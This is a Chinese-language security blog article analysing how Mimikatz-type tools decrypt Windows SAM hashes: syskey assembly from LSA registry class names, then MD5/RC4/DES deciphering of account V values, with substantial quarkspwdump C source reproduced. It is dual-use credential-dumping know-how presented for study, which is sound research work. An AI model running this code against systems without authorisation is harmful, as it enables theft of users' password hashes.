Mimikatz_sam文件解密原理

文摘   科技   2024-06-03 23:29   上海  

写在前面


    一篇黑&白师傅的mimikatz_sam文件解密原理的深度学习文章。




简介

在进行账户克隆的时候我们通常会对用户的注册表中的F值进行修改,将其改为administrator用户的F值,在深入的过程中我们了解到,这个F值其实是用户的SID值,在伪冒了SID值之后既可以进行账号的克隆,但是在我们实际对注册表中该值进行还原的过程中,却发现,仅仅是sam文件中的F值是无法进行解密的(乱码)

推测1:
此前了解过mimikatz的sam文件获取hash的方式是通过sam.hive和system.hive两个文件进行的,而且我们还知道使用secretsdumps工具进行解密的时候需要用到三个文件(sam.save security.save system.save),其中security.save是密钥文件,一开始以为只有sam中的V值才会被加密,现在推测sid值是不是也同样被加密了

推测2:
根据gpt的回答:

深入

重要信息摘要

Windows注册表包含大量的键值,而且这些键值可能被用户修改过,攻击者也可能借用它隐藏一些隐私,如用户密码。故,一些注册表键值在许多取证分析中都要被调查,它们并无必要对应一个给定领域,但是它们和大量计算机调查相关。这些键值包括基本的系统信息(谁使用了该系统,安装了什么应用程序)和关键系统领域的更详细信息(安装了哪些硬件,装载了哪些驱动器)等,如运行过的程序、访问过的网站、编辑过的文档等。这些信息可以为取证分析提供一定的帮助,而且容易获取,因为都是明文显示即通过注册表API函数RegOpenKeyEx、RegEnumKeyEx、RegQueryValueEx即可获取。读者若对这些关键值路径感兴趣,可参考《Initial Case Analysis using Windows Registry in Computer Forensics》。

本文重点论述注册表中隐藏的关键信息即用户ID和密码。

若系统事先设有密码,则用户输入密码进行系统之前, windows 会对此明文密码采用MD4算法进行散列,然后将散列值与系统中保存的 HASH 值进行比对。这些 MD4 散列值即存放在安全账户管理器SAM文件内。尽管SAM文件在最高权限下都无法访问,但所有的信息都存放在注册表内,故完全可以在 SYSTEM 权限下,通过调用注册表 API 函数获取到这些信息。本文是在参考Vincent Roch在 codeproject上发表的文章“Retrieve the Windows 7 Password Hash on the Fly”、 Dustin Hurlbut的文章 “Forensic Determination of a User’s Logon 的基础上并结合自己的理解分析完成的,探讨windows下SAM文件用户密码的破解分析。

1.SAM 结构分析

SAM结构中包含两个hash分别为:LanMan hash和NT hash,然而从Vista版本开始,因为LM hash的安全性略低于后者,故已经基本上不再使用了。在注册表中用户信息都存放在HKLM\SAM\SAM\Domains\Account\users<userRID>下,其下的子键即每个账号的SID相对标志符。每个账户下包含两个子项,F和V。V值包含了用户名、以及散列后的用户密码值等。

它实际上可以看作一个微型文件系统,包含多个指针即指向一个可变长度的结构体。每个指针结构为一个12字节值,例如第2个12字节结构体,前4字节即用户数据起始相对偏移值(需要加上偏移量0xCC),中间4字节表示用户名的长度,后4字节保留未用。如图1所示,0xBC+0xCC=188,即偏移188处即为用户名。


图1. SAM文件中Adminitrator用户的SID结构

而且,图1中的12字节结构体中的第二个4字节包含特殊含义,即:

0x BC 00 00 00  — ADMINISTRATIVE USER
0x D4 00 00 00 USERONLY PRIVILEGE LEVEL即受限制的用户权限
0x B0 00 00 00 — GUEST ACCOUNT

“F”键值中保存的是一些登录记录,如上次登录时间、错误登录次数等。从上面的分析,可知用户密码保存在SAM文件中,虽然系统默认下config文件受保护,但用户信息全部存在在注册表内,故这里我们可以在SCM(服务控制管理器)内注册一个系统服务实现SAM文件取证。

2.创建新服务实现SAM文件取证

这一段信息大量的代码,这边是想找到其中的原理,并不想涉及到代码方面,这部分省略代码相关内容只提取关键信息。从这段我们了解到 密码是存放在用户对应的SID的V键下但是是以一种密文形式存放的,并且Windows2000版本之后,V键值内容似乎可结合用户ID下的某个键值作为key输入到DES算法中解密。

后面的内容说的有些模糊,暂时先放着,看看文中提到的几篇文章。

《Retrieve the Windows 7 Password Hash on the Fly》 这篇文章主要是对sam中的v值进行解密,感觉有点怪,上面说的并没有很匹配上我之前的所认识到的内容,这篇文章先放着。

《Forensic Determination of a User’s Logon》 这篇文章没有找到原文,可能时间已经太久了

再找相关资料

渗透技巧——通过SAM数据库获得本地用户hash:https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87SAM%E6%95%B0%E6%8D%AE%E5%BA%93%E8%8E%B7%E5%BE%97%E6%9C%AC%E5%9C%B0%E7%94%A8%E6%88%B7hash

这篇文章中提到了更多更深入的一些信息,而且这些信息也是我所需要的信息,虽然和SID这个线索关系并不大,但是能完全匹配上我所学过的内容。关键是其中的这段:

0x03 原理分析
1、读取HKLM\SYSTEM,获得syskey
读取注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的键值JD、Skew1、GBG和Data中的内容,拼接成syskey

代码可参考:

https://github.com/johannwmeyer/quarkspwdump/blob/a68aa6330f37eb8d00055c73e6a4e3cb52bcdd6d/src/crypt.cpp#L222

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.c#L219

完整计算代码可参考:

https://raw.githubusercontent.com/3gstudent/Writeup/master/getsyskey.cpp

(Steal from http://www.zcgonvh.com/post/ntds_dit_pwd_dumper.html)

2、使用syskey解密HKLM\SAM
读取注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下每个用户中F项和V项的内容,使用syskey进行一系列的解密

详细解密过程可参考如下链接:

http://www.xfocus.net/articles/200306/550.html

综上,想要通过SAM数据库获得用户hash,需要获得两个文件:HKLM\SYSTEM和HKLM\SAM

最直接的导出方式是读取当前系统下的注册表HKLM\SYSTEM和HKLM\SAM,但需要获得system权限

admin切换到system权限的方法可参考之前的文章:《渗透技巧——从Admin权限切换到System权限》

继续深入

上文中提到的一篇文章

http://www.xfocus.net/articles/200306/550.html(时间太久找不到了)

网站已经易主了,没办法

找文章中包含(http://www.xfocus.net/articles/200306/550.html)内容的,最终在一篇04年的文章(http://www.nsfocus.net/index.php?act=magazine&do=view&mid=2447)中找到了相关的信息

换关键词查找这篇文章相关的内容

发现东西还是挺多的

找到原文(http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1888)

从这篇文章中我们得到了sampsecretsessionkey生成的方式、SYSKEY生成的方式、sessionkey的生成方式还有最重要的一点 解密SAM文件

文章中关于这一点的描述如下:

当需要解密SAM中加密数据到散列时(如远程登陆):
1、读取sampsecretsessionkey,再与当前用户的相对SID,散列类型名(如LMPASSWORD,NTPASSWORD)做MD5运算获得针对这个用户密码散列的sessionkey
2、利用sessionkey用RC4解密第一道加密的散列,再将用户相对ID扩展成14字节做DES切分,生成DESECB,再对用RC4处理后的散列进行分开成2次DES解密就可以获得密码散列。

这样就可以解密出sam文件了

但是这边还是没给出 F值 的解密方式,先尝试着解一下sam文件

实践

首先先分析具体的代码

https://github.com/johannwmeyer/quarkspwdump/blob/a68aa6330f37eb8d00055c73e6a4e3cb52bcdd6d/src/crypt.cpp#L222

/*
* Get syskey raw bytes (length=16)
* returns :
* SYSKEY_SUCCESS => all is OK :)
* SYSKEY_REGISTRY_ERROR => registry problems, permission, integrity...
* SYSKEY_METHOD_NOT_IMPL => if syskey is not stored locally
*/

int CRYPT_SyskeyGetValue(s_SYSKEY *pSyskey) {
DWORD dwSecureBoot=0;
BYTE syskey[16];
BYTE syskeyPerm[16]={0x8,0x5,0x4,0x2,0xb,0x9,0xd,0x3,0x0,0x6,0x1,0xc,0xe,0xa,0xf,0x7};
int i;

if(!RegGetValueEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa","SecureBoot",NULL,&dwSecureBoot,sizeof(dwSecureBoot),NULL))
return SYSKEY_REGISTRY_ERROR;

if(dwSecureBoot != 1)
return SYSKEY_METHOD_NOT_IMPL;

if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa","JD",syskey))
return SYSKEY_REGISTRY_ERROR;

if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa","Skew1",syskey+4))
return SYSKEY_REGISTRY_ERROR;

if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa","GBG",syskey+8))
return SYSKEY_REGISTRY_ERROR;

if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa","Data",syskey+12))
return SYSKEY_REGISTRY_ERROR;


for(i=0;i<16;i++)
pSyskey->key[i] = syskey[syskeyPerm[i]];

return SYSKEY_SUCCESS;
}

RegGetValueEx函数是Windows API中用于从注册表中读取指定值的函数。它主要用于从指定的注册表键中检索特定的值数据。

如果函数成功,返回ERROR_SUCCESS并将数据存储在lpData中。
如果函数失败,返回相应的错误代码。

SyskeyGetClassBytes函数如下

/*
* Get hidden syskey encoded bytes part in class string of a reg key
* 获取注册表键的类字符串中隐藏的syskey编码字节部分。
* (JD, Skew1, GBG, Data)
*/

BOOL SyskeyGetClassBytes(HKEY hKeyReg,LPSTR keyName,LPSTR valueName,LPBYTE classBytes) {
HKEY hKey,hSubKey;
DWORD dwDisposition=0,classSize;
BYTE classStr[16];
LONG ret;
BOOL isSuccess = FALSE;

ret = RegCreateKeyEx(hKeyReg,keyName,0,NULL,REG_OPTION_NON_VOLATILE,KEY_QUERY_VALUE,NULL,&hKey,&dwDisposition);

if(ret!=ERROR_SUCCESS)
return FALSE;
else if(dwDisposition!=REG_OPENED_EXISTING_KEY) {
RegCloseKey(hKey);
return FALSE;
}
else {
if(RegOpenKeyEx(hKey,valueName,0,KEY_READ,&hSubKey)==ERROR_SUCCESS) {
classSize = 8+1;
ret = RegQueryInfoKey(hSubKey,(LPTSTR)classStr,&classSize,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);
if((ret==ERROR_SUCCESS)&&(classSize==8)) {
classBytes[0]= (HexDigitToByte(classStr[0]) << 4) | HexDigitToByte(classStr[1]);
classBytes[1]= (HexDigitToByte(classStr[2]) << 4) | HexDigitToByte(classStr[3]);
classBytes[2]= (HexDigitToByte(classStr[4]) << 4) | HexDigitToByte(classStr[5]);
classBytes[3]= (HexDigitToByte(classStr[6]) << 4) | HexDigitToByte(classStr[7]);
isSuccess = TRUE;
}
RegCloseKey(hSubKey);
}
RegCloseKey(hKey);
}

return isSuccess;
}

函数返回true/false

RegOpenKeyExW是Windows API中的一个函数,用于打开一个注册表键并返回一个句柄,该句柄可以用于后续的注册表操作。这个函数支持Unicode字符,因此它在函数名中有一个后缀W,代表宽字符(Wide Character)版本。

如果函数成功,返回ERROR_SUCCESS,并将新打开的注册表键的句柄存储在phkResult中。
如果函数失败,返回相应的错误代码。

将这四个全部读取到之后存到syskey中,然后按固定的顺序写到pSyskey->key[i]中,这就是这段代码的含义。

我们了解到 注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下每个用户中F项和V项的内容都需要使用syskey进行一系列的解密,接下来查看解密的过程

先查找调用,找到在CommandDispatcher函数中的调用

从上面的分析中我们知道最后的syskey是被存在了SYSKEY中的key中

跟随SYSKEY_Dump函数

该函数将字节转换成16进制字符串并打印(没啥作用,找错了)

又找到CRYPT_BootkeyGetValue中调用过CRYPT_SyskeyGetValue

对照之前的讲解,这一段就是Syskey的加密函数,成功返回SYSKEY_SUCCESS,并且将最后rc4加密之后的值放到bootkey->key中

这里给出rc4函数的加解密例程

RC4_KEY rc4_ctx;
unsigned char key[16] = "secret_key";
unsigned char plaintext[10] = "hello";
unsigned char ciphertext[10];
unsigned char decryptedtext[10];

// 初始化RC4密钥
RC4_set_key(&rc4_ctx, sizeof(key), key);

// 加密
RC4(&rc4_ctx, sizeof(plaintext), plaintext, ciphertext);

// 解密
RC4(&rc4_ctx, sizeof(ciphertext), ciphertext, decryptedtext);

我们再来查看一下CRYPT_BootkeyGetValue的调用

在这里我们找到了调用,也就是这段中的BOOTKEY->key就已经是解密后的值了

我们这里看到,在调用完成CRYPT_BootkeyGetValue这个函数后还执行了三个函数,分别是BOOTKEY_Dump、CRYPT_SAM_DecipherAllLocalAccount和SAM_NTLM_DumpAll。

进一步跟进

BOOTKEY_Dump(&BOOTKEY);函数上面已经看过了,没啥作用

CRYPT_SAM_DecipherAllLocalAccount函数如下

从函数的注释我们知道了,这是拿我们之前拼接加密后的BOOTKEY->key去对sam文件中的内容进行解密

继续跟踪CRYPT_SAM_DecipherLocalAccount函数

/*
* Decipher one local account hash + full history if asked
* 解密一个本地账户哈希,并在需要时提供完整的历史记录。
*/

BOOL CRYPT_SAM_DecipherLocalAccount(s_localAccountInfo *localAccountEntry,s_BOOTKEY *bootkey) {
BYTE lm_hash[WIN_NTLM_HASH_SIZE*24],nt_hash[WIN_NTLM_HASH_SIZE*24];
BYTE deciphered_lm_hash[WIN_NTLM_HASH_SIZE*24],deciphered_nt_hash[WIN_NTLM_HASH_SIZE*24]; /* No more than 24 entries in hashes history */
size_t hash_offset = *(LPWORD)(localAccountEntry->V+0x9c) + 0xCC + 4;
size_t hash_history_offset;
UINT i;

RtlZeroMemory(lm_hash,sizeof(lm_hash));
RtlZeroMemory(nt_hash,sizeof(nt_hash));

/* Get current hash */
if(((*((LPDWORD)(localAccountEntry->V + hash_offset))) & 0xFFFFFF00) != 0x10000) { /* Is LM hash ? */
RtlMoveMemory(lm_hash,localAccountEntry->V + hash_offset,WIN_NTLM_HASH_SIZE);
localAccountEntry->NTLM_hash.hash_type = LM_HASH;
hash_offset += WIN_NTLM_HASH_SIZE + 4;
}
else {
localAccountEntry->NTLM_hash.hash_type = NT_HASH;
hash_offset += 4;
}

if(((*((LPDWORD)(localAccountEntry->V + hash_offset))) & 0xFFFFFF00) != 0x10000) { /* Is it NT or not password protected? */
RtlMoveMemory(nt_hash,localAccountEntry->V + hash_offset,WIN_NTLM_HASH_SIZE);
hash_offset += WIN_NTLM_HASH_SIZE + 4;
}
else {
localAccountEntry->NTLM_hash.hash_type = NT_NO_HASH;
hash_offset += 4;
}

/* Decipher current hash */
if(localAccountEntry->NTLM_hash.hash_type==LM_HASH)
CRYPT_SAM_Decipher(lm_hash,1,localAccountEntry->rid,bootkey,SAM_LMPASS,localAccountEntry->NTLM_hash.LM_hash);
if(localAccountEntry->NTLM_hash.hash_type!=NT_NO_HASH)
CRYPT_SAM_Decipher(nt_hash,1,localAccountEntry->rid,bootkey,SAM_NTPASS,localAccountEntry->NTLM_hash.NT_hash);


/* Decipher history if there is */
if(localAccountEntry->NTLM_hash_history) {
hash_history_offset = hash_offset;

/* Fix localAccountEntry->nbHistoryEntries -
(Strange MS behavior) for mixed LM / NTLM in history */

while(((*((LPDWORD)(localAccountEntry->V + hash_offset))) & 0xFFFFFF00) != 0x10000)
hash_offset += 4;
localAccountEntry->nbHistoryEntries = (hash_offset - hash_history_offset) / WIN_NTLM_HASH_SIZE;

RtlMoveMemory(nt_hash,localAccountEntry->V + hash_history_offset,localAccountEntry->nbHistoryEntries*WIN_NTLM_HASH_SIZE);
CRYPT_SAM_Decipher(nt_hash,localAccountEntry->nbHistoryEntries,localAccountEntry->rid,bootkey,SAM_NTPASS_HISTORY,deciphered_nt_hash);

if((hash_history_offset+4+(localAccountEntry->nbHistoryEntries * WIN_NTLM_HASH_SIZE * 2))<=localAccountEntry->dwVSize) {
RtlMoveMemory(lm_hash,localAccountEntry->V + hash_history_offset + (localAccountEntry->nbHistoryEntries*WIN_NTLM_HASH_SIZE) + 4,localAccountEntry->nbHistoryEntries*WIN_NTLM_HASH_SIZE);
CRYPT_SAM_Decipher(lm_hash,localAccountEntry->nbHistoryEntries,localAccountEntry->rid,bootkey,SAM_LMPASS_HISTORY,deciphered_lm_hash);
}
else {
for(i=0;i<localAccountEntry->nbHistoryEntries;i++)
RtlMoveMemory(deciphered_lm_hash+i*WIN_NTLM_HASH_SIZE,SAM_EMPTY_LM_BYTES,WIN_NTLM_HASH_SIZE);
}

for(i=0;i<localAccountEntry->nbHistoryEntries;i++) {
RtlMoveMemory(localAccountEntry->NTLM_hash_history[i].NT_hash,deciphered_nt_hash+i*WIN_NTLM_HASH_SIZE,WIN_NTLM_HASH_SIZE);
RtlMoveMemory(localAccountEntry->NTLM_hash_history[i].LM_hash,deciphered_lm_hash+i*WIN_NTLM_HASH_SIZE,WIN_NTLM_HASH_SIZE);
}
}

return TRUE;
}

这一段代码中解密hash使用的是CRYPT_SAM_Decipher这个函数,继续跟踪

/*
* Decipher one local account hash (LM or NT)
*/

void CRYPT_SAM_Decipher(LPBYTE ntlm_hash,int nb_hash,DWORD rid,s_BOOTKEY *bootkey,LPSTR szPasswordCste,LPBYTE deciphered) {
DES_key_schedule des_key1,des_key2;
BYTE key1[8],key2[8];
MD5_CTX md5_ctx;
RC4_KEY rc4_ctx;
BYTE rc4_key[MD5_DIGEST_LENGTH];
BYTE tmp[24*WIN_NTLM_HASH_SIZE]; /* No more than 24 entries in hashes history */
int i;

/* Make hash from bootkey, RID and cst*/
MD5_Init(&md5_ctx);
MD5_Update(&md5_ctx,bootkey->key,sizeof(bootkey->key));
MD5_Update(&md5_ctx,&rid,4);
MD5_Update(&md5_ctx,szPasswordCste,lstrlen(szPasswordCste)+1);
MD5_Final(rc4_key,&md5_ctx);

RC4_set_key(&rc4_ctx,MD5_DIGEST_LENGTH,rc4_key);
RC4(&rc4_ctx,nb_hash*WIN_NTLM_HASH_SIZE,ntlm_hash,tmp);

/* Build DES keys from account RID */
RIDToDESKey(rid,key1,key2);

/* DES deciphering */
DES_set_odd_parity((const_DES_cblock *)key1);
DES_set_odd_parity((const_DES_cblock *)key2);
DES_set_key((const_DES_cblock *)key1,&des_key1);
DES_set_key((const_DES_cblock *)key2,&des_key2);

for(i=0;i<nb_hash;i++) {
DES_ecb_encrypt((const_DES_cblock *)(tmp+i*WIN_NTLM_HASH_SIZE),(const_DES_cblock *)(deciphered+i*WIN_NTLM_HASH_SIZE),&des_key1,DES_DECRYPT);
DES_ecb_encrypt((const_DES_cblock *)(tmp+8+i*WIN_NTLM_HASH_SIZE),(const_DES_cblock *)(deciphered+8+i*WIN_NTLM_HASH_SIZE),&des_key2,DES_DECRYPT);
}
}

对比参考资料,我们最终是找了解密函数,解密算法就不分析了,详情见另两篇文章


参考

Windows7注册表之SAM文件取证分析:http:// www.jybase.net/ruanjianpojie/20120418829.html深入分析Mimikatz(系列):https://blog.xpnsec.com/exploring-mimikatz-part-1/ https://blog.xpnsec.com/exploring-mimikatz-part-2/渗透技巧——通过SAM数据库获得本地用户hash:https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7- %E9%80%9A%E8%BF%87SAM%E6%95%B0%E6%8D%AE%E5%BA%93%E8%8E%B7%E5%BE%97%E6%9C%AC%E5%9C%B0%E7%94%A8%E6%88%B7hash




写在最后

     本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

    未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

云下信安
再溯源就不礼貌了